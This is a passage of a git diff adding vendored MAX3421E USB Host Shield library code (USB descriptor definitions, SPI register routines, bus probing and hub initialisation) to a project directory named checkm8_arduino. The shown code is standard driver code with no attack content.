USB_SETUP_HOST_TO_DEVICE 0x00 // Device Request bmRequestType transfer direction - host to device transfer +#define USB_SETUP_DEVICE_TO_HOST 0x80 // Device Request bmRequestType transfer direction - device to host transfer +#define USB_SETUP_TYPE_STANDARD 0x00 // Device Request bmRequestType type - standard +#define USB_SETUP_TYPE_CLASS 0x20 // Device Request bmRequestType type - class +#define USB_SETUP_TYPE_VENDOR 0x40 // Device Request bmRequestType type - vendor +#define USB_SETUP_RECIPIENT_DEVICE 0x00 // Device Request bmRequestType recipient - device +#define USB_SETUP_RECIPIENT_INTERFACE 0x01 // Device Request bmRequestType recipient - interface +#define USB_SETUP_RECIPIENT_ENDPOINT 0x02 // Device Request bmRequestType recipient - endpoint +#define USB_SETUP_RECIPIENT_OTHER 0x03 // Device Request bmRequestType recipient - other + +/* USB descriptors */ + +#define USB_DESCRIPTOR_DEVICE 0x01 // bDescriptorType for a Device Descriptor. +#define USB_DESCRIPTOR_CONFIGURATION 0x02 // bDescriptorType for a Configuration Descriptor. +#define USB_DESCRIPTOR_STRING 0x03 // bDescriptorType for a String Descriptor. +#define USB_DESCRIPTOR_INTERFACE 0x04 // bDescriptorType for an Interface Descriptor. +#define USB_DESCRIPTOR_ENDPOINT 0x05 // bDescriptorType for an Endpoint Descriptor. +#define USB_DESCRIPTOR_DEVICE_QUALIFIER 0x06 // bDescriptorType for a Device Qualifier. +#define USB_DESCRIPTOR_OTHER_SPEED 0x07 // bDescriptorType for a Other Speed Configuration. +#define USB_DESCRIPTOR_INTERFACE_POWER 0x08 // bDescriptorType for Interface Power. +#define USB_DESCRIPTOR_OTG 0x09 // bDescriptorType for an OTG Descriptor. + +#define HID_DESCRIPTOR_HID 0x21 + + + +/* OTG SET FEATURE Constants */ +#define OTG_FEATURE_B_HNP_ENABLE 3 // SET FEATURE OTG - Enable B device to perform HNP +#define OTG_FEATURE_A_HNP_SUPPORT 4 // SET FEATURE OTG - A device supports HNP +#define OTG_FEATURE_A_ALT_HNP_SUPPORT 5 // SET FEATURE OTG - Another port on the A device supports HNP + +/* USB Endpoint Transfer Types */ +#define USB_TRANSFER_TYPE_CONTROL 0x00 // Endpoint is a control endpoint. +#define USB_TRANSFER_TYPE_ISOCHRONOUS 0x01 // Endpoint is an isochronous endpoint. +#define USB_TRANSFER_TYPE_BULK 0x02 // Endpoint is a bulk endpoint. +#define USB_TRANSFER_TYPE_INTERRUPT 0x03 // Endpoint is an interrupt endpoint. +#define bmUSB_TRANSFER_TYPE 0x03 // bit mask to separate transfer type from ISO attributes + + +/* Standard Feature Selectors for CLEAR_FEATURE Requests */ +#define USB_FEATURE_ENDPOINT_STALL 0 // Endpoint recipient +#define USB_FEATURE_DEVICE_REMOTE_WAKEUP 1 // Device recipient +#define USB_FEATURE_TEST_MODE 2 // Device recipient + +/* descriptor data structures */ + +/* Device descriptor structure */ +typedef struct { + uint8_t bLength; // Length of this descriptor. + uint8_t bDescriptorType; // DEVICE descriptor type (USB_DESCRIPTOR_DEVICE). + uint16_t bcdUSB; // USB Spec Release Number (BCD). + uint8_t bDeviceClass; // Class code (assigned by the USB-IF). 0xFF-Vendor specific. + uint8_t bDeviceSubClass; // Subclass code (assigned by the USB-IF). + uint8_t bDeviceProtocol; // Protocol code (assigned by the USB-IF). 0xFF-Vendor specific. + uint8_t bMaxPacketSize0; // Maximum packet size for endpoint 0. + uint16_t idVendor; // Vendor ID (assigned by the USB-IF). + uint16_t idProduct; // Product ID (assigned by the manufacturer). + uint16_t bcdDevice; // Device release number (BCD). + uint8_t iManufacturer; // Index of String Descriptor describing the manufacturer. + uint8_t iProduct; // Index of String Descriptor describing the product. + uint8_t iSerialNumber; // Index of String Descriptor with the device's serial number. + uint8_t bNumConfigurations; // Number of possible configurations. +} __attribute__((packed)) USB_DEVICE_DESCRIPTOR; + +/* Configuration descriptor structure */ +typedef struct { + uint8_t bLength; // Length of this descriptor. + uint8_t bDescriptorType; // CONFIGURATION descriptor type (USB_DESCRIPTOR_CONFIGURATION). + uint16_t wTotalLength; // Total length of all descriptors for this configuration. + uint8_t bNumInterfaces; // Number of interfaces in this configuration. + uint8_t bConfigurationValue; // Value of this configuration (1 based). + uint8_t iConfiguration; // Index of String Descriptor describing the configuration. + uint8_t bmAttributes; // Configuration characteristics. + uint8_t bMaxPower; // Maximum power consumed by this configuration. +} __attribute__((packed)) USB_CONFIGURATION_DESCRIPTOR; + +/* Interface descriptor structure */ +typedef struct { + uint8_t bLength; // Length of this descriptor. + uint8_t bDescriptorType; // INTERFACE descriptor type (USB_DESCRIPTOR_INTERFACE). + uint8_t bInterfaceNumber; // Number of this interface (0 based). + uint8_t bAlternateSetting; // Value of this alternate interface setting. + uint8_t bNumEndpoints; // Number of endpoints in this interface. + uint8_t bInterfaceClass; // Class code (assigned by the USB-IF). 0xFF-Vendor specific. + uint8_t bInterfaceSubClass; // Subclass code (assigned by the USB-IF). + uint8_t bInterfaceProtocol; // Protocol code (assigned by the USB-IF). 0xFF-Vendor specific. + uint8_t iInterface; // Index of String Descriptor describing the interface. +} __attribute__((packed)) USB_INTERFACE_DESCRIPTOR; + +/* Endpoint descriptor structure */ +typedef struct { + uint8_t bLength; // Length of this descriptor. + uint8_t bDescriptorType; // ENDPOINT descriptor type (USB_DESCRIPTOR_ENDPOINT). + uint8_t bEndpointAddress; // Endpoint address. Bit 7 indicates direction (0=OUT, 1=IN). + uint8_t bmAttributes; // Endpoint transfer type. + uint16_t wMaxPacketSize; // Maximum packet size. + uint8_t bInterval; // Polling interval in frames. +} __attribute__((packed)) USB_ENDPOINT_DESCRIPTOR; + +/* HID descriptor */ +typedef struct { + uint8_t bLength; + uint8_t bDescriptorType; + uint16_t bcdHID; // HID class specification release + uint8_t bCountryCode; + uint8_t bNumDescriptors; // Number of additional class specific descriptors + uint8_t bDescrType; // Type of class descriptor + uint16_t wDescriptorLength; // Total size of the Report descriptor +} __attribute__((packed)) USB_HID_DESCRIPTOR; + +typedef struct { + uint8_t bDescrType; // Type of class descriptor + uint16_t wDescriptorLength; // Total size of the Report descriptor +} __attribute__((packed)) HID_CLASS_DESCRIPTOR_LEN_AND_TYPE; + +#endif // _ch9_h_ diff --git a/checkm8_arduino/lib/hostshield/usbhost.h b/checkm8_arduino/lib/hostshield/usbhost.h new file mode 100644 index 0000000..a81ea21 --- /dev/null +++ b/checkm8_arduino/lib/hostshield/usbhost.h @@ -0,0 +1,585 @@ +/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + +Contact information +------------------- + +Circuits At Home, LTD +Web : http://www.circuitsathome.com +e-mail : support@circuitsathome.com + */ +/* MAX3421E-based USB Host Library header file */ + + +#if !defined(_usb_h_) || defined(_USBHOST_H_) +#error "Never include usbhost.h directly; include Usb.h instead" +#else +#define _USBHOST_H_ + +#if USING_SPI4TEENSY3 +#include +#include +#endif + +/* SPI initialization */ +template< typename SPI_CLK, typename SPI_MOSI, typename SPI_MISO, typename SPI_SS > class SPi { +public: +#if USING_SPI4TEENSY3 + static void init() { + // spi4teensy3 inits everything for us, except /SS + // CLK, MOSI and MISO are hard coded for now. + // spi4teensy3::init(0,0,0); // full speed, cpol 0, cpha 0 + spi4teensy3::init(); // full speed, cpol 0, cpha 0 + SPI_SS::SetDirWrite(); + SPI_SS::Set(); + } +#elif defined(SPI_HAS_TRANSACTION) + static void init() { + USB_SPI.begin(); // The SPI library with transaction will take care of setting up the pins - settings is set in beginTransaction() + SPI_SS::SetDirWrite(); + SPI_SS::Set(); + } +#elif defined(STM32F4) +#warning "You need to initialize the SPI interface manually when using the STM32F4 platform" + static void init() { + // Should be initialized by the user manually for now + } +#elif !defined(SPDR) + static void init() { + SPI_SS::SetDirWrite(); + SPI_SS::Set(); + USB_SPI.begin(); +#if defined(__MIPSEL__) + USB_SPI.setClockDivider(1); +#elif defined(__ARDUINO_X86__) + #ifdef SPI_CLOCK_1M // Hack used to check if setClockSpeed is available + USB_SPI.setClockSpeed(12000000); // The MAX3421E can handle up to 26MHz, but in practice this was the maximum that I could reliably use + #else + USB_SPI.setClockDivider(SPI_CLOCK_DIV2); // This will set the SPI frequency to 8MHz - it could be higher, but it is not supported in the old API + #endif +#elif !defined(RBL_NRF51822) + USB_SPI.setClockDivider(4); // Set speed to 84MHz/4=21MHz - the MAX3421E can handle up to 26MHz +#endif + } +#else + static void init() { + //uint8_t tmp; + SPI_CLK::SetDirWrite(); + SPI_MOSI::SetDirWrite(); + SPI_MISO::SetDirRead(); + SPI_SS::SetDirWrite(); + /* mode 00 (CPOL=0, CPHA=0) master, fclk/2. Mode 11 (CPOL=11, CPHA=11) is also supported by MAX3421E */ + SPCR = 0x50; + SPSR = 0x01; // 0x01 + /**/ + //tmp = SPSR; + //tmp = SPDR; + } +#endif +}; + +/* SPI pin definitions. see avrpins.h */ +#if defined(PIN_SPI_SCK) && defined(PIN_SPI_MOSI) && defined(PIN_SPI_MISO) && defined(PIN_SPI_SS) +// Use pin defines: https://github.com/arduino/Arduino/pull/4814 +// Based on: https://www.mikeash.com/pyblog/friday-qa-2015-03-20-preprocessor-abuse-and-optional-parentheses.html +#define NOTHING_EXTRACT +#define EXTRACT(...) EXTRACT __VA_ARGS__ +#define PASTE(x, ...) x ## __VA_ARGS__ +#define EVALUATING_PASTE(x, ...) PASTE(x, __VA_ARGS__) +#define UNPAREN(x) EVALUATING_PASTE(NOTHING_, EXTRACT x) +#define APPEND_PIN(pin) P ## pin // Appends the pin to 'P', e.g. 1 becomes P1 +#define MAKE_PIN(x) EVALUATING_PASTE(APPEND_, PIN(UNPAREN(x))) +typedef SPi< MAKE_PIN(PIN_SPI_SCK), MAKE_PIN(PIN_SPI_MOSI), MAKE_PIN(PIN_SPI_MISO), MAKE_PIN(PIN_SPI_SS) > spi; +#undef MAKE_PIN +#elif defined(__AVR_ATmega1280__) || (__AVR_ATmega2560__) || defined(__AVR_ATmega32U4__) || defined(__AVR_AT90USB646__) || defined(__AVR_AT90USB1286__) +typedef SPi< Pb1, Pb2, Pb3, Pb0 > spi; +#elif defined(__AVR_ATmega168__) || defined(__AVR_ATmega328P__) +typedef SPi< Pb5, Pb3, Pb4, Pb2 > spi; +#elif defined(__AVR_ATmega644__) || defined(__AVR_ATmega644P__) || defined(__AVR_ATmega1284__) || defined(__AVR_ATmega1284P__) +typedef SPi< Pb7, Pb5, Pb6, Pb4 > spi; +#elif (defined(CORE_TEENSY) && (defined(__MK20DX128__) || defined(__MK20DX256__) || defined(__MK64FX512__) || defined(__MK66FX1M0__) || defined(__MKL26Z64__))) || defined(__ARDUINO_ARC__) || defined(__ARDUINO_X86__) || defined(__MIPSEL__) || defined(STM32F4) +typedef SPi< P13, P11, P12, P10 > spi; +#elif defined(ARDUINO_SAM_DUE) && defined(__SAM3X8E__) +typedef SPi< P76, P75, P74, P10 > spi; +#elif defined(RBL_NRF51822) +typedef SPi< P16, P18, P17, P10 > spi; +#elif defined(ESP8266) +typedef SPi< P14, P13, P12, P15 > spi; +#elif defined(ESP32) +typedef SPi< P18, P23, P19, P5 > spi; +#else +#error "No SPI entry in usbhost.h" +#endif + +typedef enum { + vbus_on = 0, + vbus_off = GPX_VBDET +} VBUS_t; + +template< typename SPI_SS, typename INTR > class MAX3421e /* : public spi */ { + static uint8_t vbusState; + +public: + MAX3421e(); + void regWr(uint8_t reg, uint8_t data); + uint8_t* bytesWr(uint8_t reg, uint8_t nbytes, uint8_t* data_p); + void gpioWr(uint8_t data); + uint8_t regRd(uint8_t reg); + uint8_t* bytesRd(uint8_t reg, uint8_t nbytes, uint8_t* data_p); + uint8_t gpioRd(); + uint8_t gpioRdOutput(); + uint16_t reset(); + int8_t Init(); + int8_t Init(int mseconds); + + void vbusPower(VBUS_t state) { + regWr(rPINCTL, (bmFDUPSPI | bmINTLEVEL | state)); + } + + uint8_t getVbusState(void) { + return vbusState; + }; + void busprobe(); + uint8_t GpxHandler(); + uint8_t IntHandler(); + uint8_t Task(); +}; + +template< typename SPI_SS, typename INTR > + uint8_t MAX3421e< SPI_SS, INTR >::vbusState = 0; + +/* constructor */ +template< typename SPI_SS, typename INTR > +MAX3421e< SPI_SS, INTR >::MAX3421e() { + // Leaving ADK hardware setup in here, for now. This really belongs with the other parts. +#ifdef BOARD_MEGA_ADK + // For Mega ADK, which has a Max3421e on-board, set MAX_RESET to output mode, and then set it to HIGH + P55::SetDirWrite(); + P55::Set(); +#endif +}; + +/* write single byte into MAX3421 register */ +template< typename SPI_SS, typename INTR > +void MAX3421e< SPI_SS, INTR >::regWr(uint8_t reg, uint8_t data) { + XMEM_ACQUIRE_SPI(); +#if defined(SPI_HAS_TRANSACTION) + USB_SPI.beginTransaction(SPISettings(26000000, MSBFIRST, SPI_MODE0)); // The MAX3421E can handle up to 26MHz, use MSB First and SPI mode 0 +#endif + SPI_SS::Clear(); + +#if USING_SPI4TEENSY3 + uint8_t c[2]; + c[0] = reg | 0x02; + c[1] = data; + spi4teensy3::send(c, 2); +#elif defined(SPI_HAS_TRANSACTION) && !defined(ESP8266) && !defined(ESP32) + uint8_t c[2]; + c[0] = reg | 0x02; + c[1] = data; + USB_SPI.transfer(c, 2); +#elif defined(STM32F4) + uint8_t c[2]; + c[0] = reg | 0x02; + c[1] = data; + HAL_SPI_Transmit(&SPI_Handle, c, 2, HAL_MAX_DELAY); +#elif !defined(SPDR) // ESP8266, ESP32 + USB_SPI.transfer(reg | 0x02); + USB_SPI.transfer(data); +#else + SPDR = (reg | 0x02); + while(!(SPSR & (1 << SPIF))); + SPDR = data; + while(!(SPSR & (1 << SPIF))); +#endif + + SPI_SS::Set(); +#if defined(SPI_HAS_TRANSACTION) + USB_SPI.endTransaction(); +#endif + XMEM_RELEASE_SPI(); + return; +}; +/* multiple-byte write */ + +/* returns a pointer to memory position after last written */ +template< typename SPI_SS, typename INTR > +uint8_t* MAX3421e< SPI_SS, INTR >::bytesWr(uint8_t reg, uint8_t nbytes, uint8_t* data_p) { + XMEM_ACQUIRE_SPI(); +#if defined(SPI_HAS_TRANSACTION) + USB_SPI.beginTransaction(SPISettings(26000000, MSBFIRST, SPI_MODE0)); // The MAX3421E can handle up to 26MHz, use MSB First and SPI mode 0 +#endif + SPI_SS::Clear(); + +#if USING_SPI4TEENSY3 + spi4teensy3::send(reg | 0x02); + spi4teensy3::send(data_p, nbytes); + data_p += nbytes; +#elif defined(STM32F4) + uint8_t data = reg | 0x02; + HAL_SPI_Transmit(&SPI_Handle, &data, 1, HAL_MAX_DELAY); + HAL_SPI_Transmit(&SPI_Handle, data_p, nbytes, HAL_MAX_DELAY); + data_p += nbytes; +#elif !defined(__AVR__) || !defined(SPDR) +#if defined(ESP8266) || defined(ESP32) + yield(); +#endif + USB_SPI.transfer(reg | 0x02); + while(nbytes) { + USB_SPI.transfer(*data_p); + nbytes--; + data_p++; // advance data pointer + } +#else + SPDR = (reg | 0x02); //set WR bit and send register number + while(nbytes) { + while(!(SPSR & (1 << SPIF))); //check if previous byte was sent + SPDR = (*data_p); // send next data byte + nbytes--; + data_p++; // advance data pointer + } + while(!(SPSR & (1 << SPIF))); +#endif + + SPI_SS::Set(); +#if defined(SPI_HAS_TRANSACTION) + USB_SPI.endTransaction(); +#endif + XMEM_RELEASE_SPI(); + return ( data_p); +} +/* GPIO write */ +/*GPIO byte is split between 2 registers, so two writes are needed to write one byte */ + +/* GPOUT bits are in the low nibble. 0-3 in IOPINS1, 4-7 in IOPINS2 */ +template< typename SPI_SS, typename INTR > +void MAX3421e< SPI_SS, INTR >::gpioWr(uint8_t data) { + regWr(rIOPINS1, data); + data >>= 4; + regWr(rIOPINS2, data); + return; +} + +/* single host register read */ +template< typename SPI_SS, typename INTR > +uint8_t MAX3421e< SPI_SS, INTR >::regRd(uint8_t reg) { + XMEM_ACQUIRE_SPI(); +#if defined(SPI_HAS_TRANSACTION) + USB_SPI.beginTransaction(SPISettings(26000000, MSBFIRST, SPI_MODE0)); // The MAX3421E can handle up to 26MHz, use MSB First and SPI mode 0 +#endif + SPI_SS::Clear(); + +#if USING_SPI4TEENSY3 + spi4teensy3::send(reg); + uint8_t rv = spi4teensy3::receive(); + SPI_SS::Set(); +#elif defined(STM32F4) + HAL_SPI_Transmit(&SPI_Handle, ®, 1, HAL_MAX_DELAY); + uint8_t rv = 0; + HAL_SPI_Receive(&SPI_Handle, &rv, 1, HAL_MAX_DELAY); + SPI_SS::Set(); +#elif !defined(SPDR) || defined(SPI_HAS_TRANSACTION) + USB_SPI.transfer(reg); + uint8_t rv = USB_SPI.transfer(0); // Send empty byte + SPI_SS::Set(); +#else + SPDR = reg; + while(!(SPSR & (1 << SPIF))); + SPDR = 0; // Send empty byte + while(!(SPSR & (1 << SPIF))); + SPI_SS::Set(); + uint8_t rv = SPDR; +#endif + +#if defined(SPI_HAS_TRANSACTION) + USB_SPI.endTransaction(); +#endif + XMEM_RELEASE_SPI(); + return (rv); +} +/* multiple-byte register read */ + +/* returns a pointer to a memory position after last read */ +template< typename SPI_SS, typename INTR > +uint8_t* MAX3421e< SPI_SS, INTR >::bytesRd(uint8_t reg, uint8_t nbytes, uint8_t* data_p) { + XMEM_ACQUIRE_SPI(); +#if defined(SPI_HAS_TRANSACTION) + USB_SPI.beginTransaction(SPISettings(26000000, MSBFIRST, SPI_MODE0)); // The MAX3421E can handle up to 26MHz, use MSB First and SPI mode 0 +#endif + SPI_SS::Clear(); + +#if USING_SPI4TEENSY3 + spi4teensy3::send(reg); + spi4teensy3::receive(data_p, nbytes); + data_p += nbytes; +#elif defined(SPI_HAS_TRANSACTION) && !defined(ESP8266) && !defined(ESP32) + USB_SPI.transfer(reg); + memset(data_p, 0, nbytes); // Make sure we send out empty bytes + USB_SPI.transfer(data_p, nbytes); + data_p += nbytes; +#elif defined(__ARDUINO_X86__) + USB_SPI.transfer(reg); + USB_SPI.transferBuffer(NULL, data_p, nbytes); + data_p += nbytes; +#elif defined(STM32F4) + HAL_SPI_Transmit(&SPI_Handle, ®, 1, HAL_MAX_DELAY); + memset(data_p, 0, nbytes); // Make sure we send out empty bytes + HAL_SPI_Receive(&SPI_Handle, data_p, nbytes, HAL_MAX_DELAY); + data_p += nbytes; +#elif !defined(SPDR) // ESP8266, ESP32 + yield(); + USB_SPI.transfer(reg); + while(nbytes) { + *data_p++ = USB_SPI.transfer(0); + nbytes--; + } +#else + SPDR = reg; + while(!(SPSR & (1 << SPIF))); //wait + while(nbytes) { + SPDR = 0; // Send empty byte + nbytes--; + while(!(SPSR & (1 << SPIF))); +#if 0 + { + *data_p = SPDR; + printf("%2.2x ", *data_p); + } + data_p++; + } + printf("\r\n"); +#else + *data_p++ = SPDR; + } +#endif +#endif + + SPI_SS::Set(); +#if defined(SPI_HAS_TRANSACTION) + USB_SPI.endTransaction(); +#endif + XMEM_RELEASE_SPI(); + return ( data_p); +} +/* GPIO read. See gpioWr for explanation */ + +/** @brief Reads the current GPI input values +* @retval uint8_t Bitwise value of all 8 GPI inputs +*/ +/* GPIN pins are in high nibbles of IOPINS1, IOPINS2 */ +template< typename SPI_SS, typename INTR > +uint8_t MAX3421e< SPI_SS, INTR >::gpioRd() { + uint8_t gpin = 0; + gpin = regRd(rIOPINS2); //pins 4-7 + gpin &= 0xf0; //clean lower nibble + gpin |= (regRd(rIOPINS1) >> 4); //shift low bits and OR with upper from previous operation. + return ( gpin); +} + +/** @brief Reads the current GPI output values +* @retval uint8_t Bitwise value of all 8 GPI outputs +*/ +/* GPOUT pins are in low nibbles of IOPINS1, IOPINS2 */ +template< typename SPI_SS, typename INTR > +uint8_t MAX3421e< SPI_SS, INTR >::gpioRdOutput() { + uint8_t gpout = 0; + gpout = regRd(rIOPINS1); //pins 0-3 + gpout &= 0x0f; //clean upper nibble + gpout |= (regRd(rIOPINS2) << 4); //shift high bits and OR with lower from previous operation. + return ( gpout); +} + +/* reset MAX3421E. Returns number of cycles it took for PLL to stabilize after reset + or zero if PLL haven't stabilized in 65535 cycles */ +template< typename SPI_SS, typename INTR > +uint16_t MAX3421e< SPI_SS, INTR >::reset() { + uint16_t i = 0; + regWr(rUSBCTL, bmCHIPRES); + regWr(rUSBCTL, 0x00); + while(++i) { + if((regRd(rUSBIRQ) & bmOSCOKIRQ)) { + break; + } + } + return ( i); +} + +/* initialize MAX3421E. Set Host mode, pullups, and stuff. Returns 0 if success, -1 if not */ +template< typename SPI_SS, typename INTR > +int8_t MAX3421e< SPI_SS, INTR >::Init() { + XMEM_ACQUIRE_SPI(); + // Moved here. + // you really should not init hardware in the constructor when it involves locks. + // Also avoids the vbus flicker issue confusing some devices. + /* pin and peripheral setup */ + SPI_SS::SetDirWrite(); + SPI_SS::Set(); + spi::init(); + INTR::SetDirRead(); + XMEM_RELEASE_SPI(); + /* MAX3421E - full-duplex SPI, level interrupt */ + // GPX pin on. Moved here, otherwise we flicker the vbus. + regWr(rPINCTL, (bmFDUPSPI | bmINTLEVEL)); + + if(reset() == 0) { //OSCOKIRQ hasn't asserted in time + return ( -1); + } + + regWr(rMODE, bmDPPULLDN | bmDMPULLDN | bmHOST); // set pull-downs, Host + + regWr(rHIEN, bmCONDETIE | bmFRAMEIE); //connection detection + + /* check if device is connected */ + regWr(rHCTL, bmSAMPLEBUS); // sample USB bus + while(!(regRd(rHCTL) & bmSAMPLEBUS)); //wait for sample operation to finish + + busprobe(); //check if anything is connected + + regWr(rHIRQ, bmCONDETIRQ); //clear connection detect interrupt + regWr(rCPUCTL, 0x01); //enable interrupt pin + + return ( 0); +} + +/* initialize MAX3421E. Set Host mode, pullups, and stuff. Returns 0 if success, -1 if not */ +template< typename SPI_SS, typename INTR > +int8_t MAX3421e< SPI_SS, INTR >::Init(int mseconds) { + XMEM_ACQUIRE_SPI(); + // Moved here. + // you really should not init hardware in the constructor when it involves locks. + // Also avoids the vbus flicker issue confusing some devices. + /* pin and peripheral setup */ + SPI_SS::SetDirWrite(); + SPI_SS::Set(); + spi::init(); + INTR::SetDirRead(); + XMEM_RELEASE_SPI(); + /* MAX3421E - full-duplex SPI, level interrupt, vbus off */ + regWr(rPINCTL, (bmFDUPSPI | bmINTLEVEL | GPX_VBDET)); + + if(reset() == 0) { //OSCOKIRQ hasn't asserted in time + return ( -1); + } + + // Delay a minimum of 1 second to ensure any capacitors are drained. + // 1 second is required to make sure we do not smoke a Microdrive! + if(mseconds < 1000) mseconds = 1000; + delay(mseconds); + + regWr(rMODE, bmDPPULLDN | bmDMPULLDN | bmHOST); // set pull-downs, Host + + regWr(rHIEN, bmCONDETIE | bmFRAMEIE); //connection detection + + /* check if device is connected */ + regWr(rHCTL, bmSAMPLEBUS); // sample USB bus + while(!(regRd(rHCTL) & bmSAMPLEBUS)); //wait for sample operation to finish + + busprobe(); //check if anything is connected + + regWr(rHIRQ, bmCONDETIRQ); //clear connection detect interrupt + regWr(rCPUCTL, 0x01); //enable interrupt pin + + // GPX pin on. This is done here so that busprobe will fail if we have a switch connected. + regWr(rPINCTL, (bmFDUPSPI | bmINTLEVEL)); + + return ( 0); +} + +/* probe bus to determine device presence and speed and switch host to this speed */ +template< typename SPI_SS, typename INTR > +void MAX3421e< SPI_SS, INTR >::busprobe() { + uint8_t bus_sample; + bus_sample = regRd(rHRSL); //Get J,K status + bus_sample &= (bmJSTATUS | bmKSTATUS); //zero the rest of the byte + switch(bus_sample) { //start full-speed or low-speed host + case( bmJSTATUS): + if((regRd(rMODE) & bmLOWSPEED) == 0) { + regWr(rMODE, MODE_FS_HOST); //start full-speed host + vbusState = FSHOST; + } else { + regWr(rMODE, MODE_LS_HOST); //start low-speed host + vbusState = LSHOST; + } + break; + case( bmKSTATUS): + if((regRd(rMODE) & bmLOWSPEED) == 0) { + regWr(rMODE, MODE_LS_HOST); //start low-speed host + vbusState = LSHOST; + } else { + regWr(rMODE, MODE_FS_HOST); //start full-speed host + vbusState = FSHOST; + } + break; + case( bmSE1): //illegal state + vbusState = SE1; + break; + case( bmSE0): //disconnected state + regWr(rMODE, bmDPPULLDN | bmDMPULLDN | bmHOST | bmSEPIRQ); + vbusState = SE0; + break; + }//end switch( bus_sample ) +} + +/* MAX3421 state change task and interrupt handler */ +template< typename SPI_SS, typename INTR > +uint8_t MAX3421e< SPI_SS, INTR >::Task(void) { + uint8_t rcode = 0; + uint8_t pinvalue; + //USB_HOST_SERIAL.print("Vbus state: "); + //USB_HOST_SERIAL.println( vbusState, HEX ); + pinvalue = INTR::IsSet(); //Read(); + //pinvalue = digitalRead( MAX_INT ); + if(pinvalue == 0) { + rcode = IntHandler(); + } + // pinvalue = digitalRead( MAX_GPX ); + // if( pinvalue == LOW ) { + // GpxHandler(); + // } + // usbSM(); //USB state machine + return ( rcode); +} + +template< typename SPI_SS, typename INTR > +uint8_t MAX3421e< SPI_SS, INTR >::IntHandler() { + uint8_t HIRQ; + uint8_t HIRQ_sendback = 0x00; + HIRQ = regRd(rHIRQ); //determine interrupt source + //if( HIRQ & bmFRAMEIRQ ) { //->1ms SOF interrupt handler + // HIRQ_sendback |= bmFRAMEIRQ; + //}//end FRAMEIRQ handling + if(HIRQ & bmCONDETIRQ) { + busprobe(); + HIRQ_sendback |= bmCONDETIRQ; + } + /* End HIRQ interrupts handling, clear serviced IRQs */ + regWr(rHIRQ, HIRQ_sendback); + return ( HIRQ_sendback); +} +//template< typename SPI_SS, typename INTR > +//uint8_t MAX3421e< SPI_SS, INTR >::GpxHandler() +//{ +// uint8_t GPINIRQ = regRd( rGPINIRQ ); //read GPIN IRQ register +//// if( GPINIRQ & bmGPINIRQ7 ) { //vbus overload +//// vbusPwr( OFF ); //attempt powercycle +//// delay( 1000 ); +//// vbusPwr( ON ); +//// regWr( rGPINIRQ, bmGPINIRQ7 ); +//// } +// return( GPINIRQ ); +//} + +#endif // _USBHOST_H_ diff --git a/checkm8_arduino/lib/hostshield/usbhub.cpp b/checkm8_arduino/lib/hostshield/usbhub.cpp new file mode 100644 index 0000000..e4d9d79 --- /dev/null +++ b/checkm8_arduino/lib/hostshield/usbhub.cpp @@ -0,0 +1,427 @@ +/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. + +This software may be distributed and modified under the terms of the GNU +General Public License version 2 (GPL2) as published by the Free Software +Foundation and appearing in the file GPL2.TXT included in the packaging of +this file. Please note that GPL2 Section 2[b] requires that all works based +on this software must also be made publicly available under the terms of +the GPL2 ("Copyleft"). + +Contact information +------------------- + +Circuits At Home, LTD +Web : http://www.circuitsathome.com +e-mail : support@circuitsathome.com + */ +#include "usbhub.h" + +bool USBHub::bResetInitiated = false; + +USBHub::USBHub(USB *p) : +pUsb(p), +bAddress(0), +bNbrPorts(0), +//bInitState(0), +qNextPollTime(0), +bPollEnable(false) { + epInfo[0].epAddr = 0; + epInfo[0].maxPktSize = 8; + epInfo[0].bmSndToggle = 0; + epInfo[0].bmRcvToggle = 0; + epInfo[0].bmNakPower = USB_NAK_MAX_POWER; + + epInfo[1].epAddr = 1; + epInfo[1].maxPktSize = 8; //kludge + epInfo[1].bmSndToggle = 0; + epInfo[1].bmRcvToggle = 0; + epInfo[1].bmNakPower = USB_NAK_NOWAIT; + + if(pUsb) + pUsb->RegisterDeviceClass(this); +} + +uint8_t USBHub::Init(uint8_t parent, uint8_t port, bool lowspeed) { + uint8_t buf[32]; + USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast(buf); + HubDescriptor* hd = reinterpret_cast(buf); + USB_CONFIGURATION_DESCRIPTOR * ucd = reinterpret_cast(buf); + uint8_t rcode; + UsbDevice *p = NULL; + EpInfo *oldep_ptr = NULL; + uint8_t len = 0; + uint16_t cd_len = 0; + + //USBTRACE("\r\nHub Init Start "); + //D_PrintHex (bInitState, 0x80); + + AddressPool &addrPool = pUsb->GetAddressPool(); + + //switch (bInitState) { + // case 0: + if(bAddress) + return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE; + + // Get pointer to pseudo device with address 0 assigned + p = addrPool.GetUsbDevicePtr(0); + + if(!p) + return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; + + if(!p->epinfo) + return USB_ERROR_EPINFO_IS_NULL; + + // Save old pointer to EP_RECORD of address 0 + oldep_ptr = p->epinfo; + + // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence + p->epinfo = epInfo; + + p->lowspeed = lowspeed; + + // Get device descriptor + rcode = pUsb->getDevDescr(0, 0, 8, (uint8_t*)buf); + + p->lowspeed = false; + + if(!rcode) + len = (buf[0] > 32) ? 32 : buf[0]; + + if(rcode) { + // Restore p->epinfo + p->epinfo = oldep_ptr; + return rcode; + } + + // Extract device class from device descriptor + // If device class is not a hub return + if(udd->bDeviceClass != 0x09) + return USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED; + + // Allocate new address according to device class + bAddress = addrPool.AllocAddress(parent, (udd->bDeviceClass == 0x09) ? true : false, port); + + if(!bAddress) + return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL; + + // Extract Max Packet Size from the device descriptor + epInfo[0].maxPktSize = udd->bMaxPacketSize0; + + // Assign new address to the device + rcode = pUsb->setAddr(0, 0, bAddress); + + if(rcode) { + // Restore p->epinfo + p->epinfo = oldep_ptr; + addrPool.FreeAddress(bAddress); + bAddress = 0; + return rcode; + } + + //USBTRACE2("\r\nHub address: ", bAddress ); + + // Restore 